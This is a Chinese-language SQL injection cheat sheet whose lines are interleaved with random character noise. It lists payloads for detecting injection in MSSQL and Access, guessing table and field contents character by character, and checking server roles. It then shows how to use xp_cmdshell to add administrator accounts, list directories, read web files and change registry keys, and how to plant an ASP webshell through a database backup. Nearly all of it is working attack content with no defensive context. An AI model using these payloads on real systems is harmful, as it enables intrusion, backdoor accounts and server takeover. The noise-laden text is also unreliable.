手工脚本注入 4 i0 f* @& _1 u! U& N4 Y
1.判断是否有注入;and 1=1 ;and 1=2 8 s5 ]5 e. ~, {$ l
2 h3 x: b5 C* y& c& j
2.初步判断是否是mssql ;and user>0 0 [( H5 D2 P1 m" O. ]: w' j
; c3 d2 o) E7 c; H& I/ C
3.注入参数是字符'and [查询条件] and ''='
6 [1 w1 K6 w/ K, k s/ h
& y; \3 g. H/ N4.搜索时没过滤参数的'and [查询条件] and '%25'=' + L6 k; ^) O2 I8 |- _$ B6 a' h) E
* m$ Q( y' ]' W$ V5.判断数据库系统 0 Z! q- b; \ k' V8 _# Y
;and (select count(*) from sysobjects)>0 mssql
$ q7 F( p; y+ u' F9 h;and (select count(*) from msysobjects)>0 access 9 K( A" `+ c- o' }
+ P6 D' G b8 V4 V
6.猜数据库 ;and (select Count(*) from [数据库名])>0 6 }% i |% i1 j2 J- ~9 M( p
$ y# I' _2 d0 O6 [# P7.猜字段 ;and (select Count(字段名) from 数据库名)>0
8 ?7 I% _( i9 u
5 F" L! }1 C3 T8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
( Z+ U, c7 _% k- R# F
* T0 I0 P: u3 {3 @, o9.(1)猜字段的ascii值(access)
% T1 o, A0 v( }* t" P3 d;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
7 I1 p6 a2 E! Z1 p# J! s
6 }) Y8 ?2 u4 f5 m6 a, _(2)猜字段的ascii值(mssql)
, ]& C W1 D# _* y;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
- X, @' Q5 L/ Z1 b4 {: f3 L1 K3 k' o* X
10.测试权限结构(mssql) ; M2 `& r& Z1 t& b
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
$ j" r! G" d; R2 p! e3 @" T;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
" T9 n2 W; N4 b6 j& E% s5 Z;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
) ?( c S. k. X" F# z2 U;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
0 R* [' e% L) J& |- l! S;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
7 F- ` {. r, O/ r$ [' C/ t$ l8 `;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 3 ]- I/ R2 V8 z& b) y
;and 1=(select IS_MEMBER('db_owner'));--
/ O4 v' [, v6 [% i- E0 }$ E" K( `8 q; J9 M" x/ y _
11.添加mssql和系统的帐户
& L0 |. o! W2 ?;exec master.dbo.sp_addlogin username;-- % ^7 O, I- S& S
8 B! x- ] Q; k0 Q5 ]+ z
;exec master.dbo.sp_password null,username,password;--
) R3 N: _8 c8 l
! o) C6 d7 d$ U1 s;exec master.dbo.sp_addsrvrolemember sysadmin username;--
- ~- h# |! y' F) `, L# j6 _) r. v) i* }1 _" L
;exec master.dbo.xp_cmdshell 'net user username password
& o- B9 O7 j5 _" e" x7 C) Z/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
9 S$ S- x! O- }- i% X7 H3 |+ o5 _
, Y' d" k" y c: p;exec master.dbo.xp_cmdshell 'net user username password /add';-- - y; Z9 V' W! P c6 Z
8 K' M( u, H0 H0 h) ~7 v;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ) R: S; k/ o+ t3 \; ^3 _
$ R& z5 L. C( D
12.(1)遍历目录
# o$ H; g: U; H) r2 r; w8 w3 G6 \+ [6 Y0 d! A9 U7 [" |
;create table dirs(paths varchar(100), id int)
6 H/ L; E2 [2 s( h$ F" [;insert dirs exec master.dbo.xp_dirtree 'c:\'
8 h- m, p5 s% E. @8 m;and (select top 1 paths from dirs)>0
0 j3 a4 l2 Y4 F# r0 F1 y;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
: T0 h% o# ?+ U. m! p
% K0 r6 x! U Z7 F B1 w(2)遍历目录
* r6 k. e2 B/ r;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ; S" `6 l* r1 j* ?
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 0 G5 o5 u6 n- |
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
% W7 t& w0 K6 h `2 P;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
: P5 I9 ^0 a( w1 c, ]/ k0 I( L1 h;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 d+ v$ m% d: s; S7 c' J. t
, ?0 I! [/ w7 Y0 |: z! p
13.mssql中的存储过程
9 v3 b8 O# D `0 f' i2 s/ l. `& e; h( Q' J; Y1 ~5 q3 z
xp_regenumvalues 注册表根键, 子键 - c% r4 B% Z8 f8 ]$ F! i# n; p
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 9 P8 n1 q6 s1 z, ^
4 N3 H, }. }0 \xp_regread 根键,子键,键值名
2 N$ F( I8 L5 k; @* \- `;exec xp_regread
5 N F5 L" Q+ Y. Y; S4 e& A'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 $ Z: S ]; T/ u7 t) E
/ T+ }3 p4 Y2 P1 ]3 o
xp_regwrite 根键,子键, 值名, 值类型, 值 4 y# z' ?& c2 z4 L& y" g8 z' a- r
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
9 k% y) k1 g8 s0 [;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 % G3 Q* X ~; X$ M6 q# \
1 p( c7 T8 U" h9 j6 D+ E4 z
xp_regdeletevalue 根键,子键,值名
, |# A" }4 k! b m7 X9 o j$ G
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
& j9 c6 I( Z$ w4 z' t$ ]. G) N; K- k
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
. I' l# C! J8 P1 C* s" t4 Y* f3 {: E5 j# W% f2 q( ` ~, d0 [( w( M3 [
14.mssql的backup创建webshell
& n/ ~( t% Z0 S" ?% N; luse model
6 o) h8 ` J: `7 Xcreate table cmd(str image);
1 V* D& q: |: y$ R! _8 j. s6 yinsert into cmd(str) values (''); ! h& Y- ^+ { K. ~# I
backup database model to disk='c:\l.asp'; 3 e' T {# k) f7 \, h
* x8 d5 }4 ^7 Y9 m; G0 v# `
15.mssql内置函数 % n1 _+ k4 J+ }+ |* C
;and (select @@version)>0 获得Windows的版本号 8 N7 v+ t! M& {, z: s
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ! A: I( w @+ r% ?4 k7 ^
;and (select user_name())>0 爆当前系统的连接用户
- Q+ A u( C' [$ r;and (select db_name())>0 得到当前连接的数据库 / I! H( v, F, D9 w) `0 c2 |
& C1 K% z/ J- H% [: `2 I
16.简洁的webshell . n; i O, m/ z6 O9 v: m. {; {; i2 a, {
]. x1 W6 W# p8 S K" m3 E/ Quse model " g3 e/ X: Z+ X/ K K9 ]: X% `
: ]) `; S& R% P' p
create table cmd(str image);
# e2 |: o, }. V1 y0 w: I: B# }" i1 d0 [, O7 D
insert into cmd(str) values ('');
% ?: _# q7 b4 }- B, M% R+ x# q9 u, H7 |& R7 E0 w
backup database model to disk='g:\wwwtest\l.asp'; " S( T# f7 [2 g, x+ d- X) ]- C
+ V+ L6 e% V: D. V9 n" L; e |